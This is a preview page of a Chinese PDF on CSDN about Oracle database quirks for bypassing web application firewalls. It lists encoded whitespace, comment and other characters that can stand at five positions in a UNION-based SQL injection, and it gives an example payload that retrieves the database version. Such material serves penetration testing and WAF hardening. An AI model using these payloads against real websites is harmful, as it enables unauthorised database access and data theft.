WAFBypass数据库特性（Oracle探索篇）.pdf资源-CSDN文库

119 浏览量 2024-04-22 13:22:52 上传评论收藏 299KB PDF 举报

资源推荐

资源详情

资源评论

0x01 前言

我们经常利用一些数据库特性来进行WAF绕过。在Oracle中，比如可以这样：

相比于Mysql/MSsql，它的特性相对较少，但确有其特殊之处，比如空白字符可以用%00替代，一个获取数据库版本

的语句就这么长。一起去探索一下Oracle数据库特性，挖掘能够绕过WAF防护的数据库特性。

0x02 测试

常见有5个位置即： SELECT * FROM admin WHERE username = 1【位置一】union【位置二】select【位置三】

1,user()【位置四】from【位置五】admin

位置一：参数和union之间的位置

1)空白字符

Oracle中可以利用的空白字符有： %00 %09 %0a %0b %0c %0d %20

2)注释符号/**/

3)其他字符

%2e . 点号

位置二：union和select之间的位置

1)空白字符

Oracle中可以利用的空白字符有： %00 %09 %0a %0b %0c %0d %20

2)注释符号/**/

位置三：select和查询参数之间的位置

1)空白字符

Oracle中可以利用的空白字符有： %00 %09 %0a %0b %0c %0d %20

2)注释符号/**/

3)其他字符

%2b +

%2d -

%ad

select * from emp where mgr=7782 union select+NULL,(SELECT banner FROM v$version where

rownum=1),NULL,NULL,NULL,NULL,NULL,NULL FROM DUAL

位置四：查询参数和from之间的位置

空白字符：%00

获取数据库版本：SELECT banner FROM v$version where rownum=1

本内容试读结束，登录后可阅读更多

下载后可阅读完整内容，剩余1页未读，立即下载

内容反馈

吉吉说安全

粉丝: 1096
资源: 151

最新资源

资源上传下载、课程学习等过程中有任何疑问或建议，欢迎提出宝贵意见哦~我们会及时处理！点击此处反馈

feedback-tip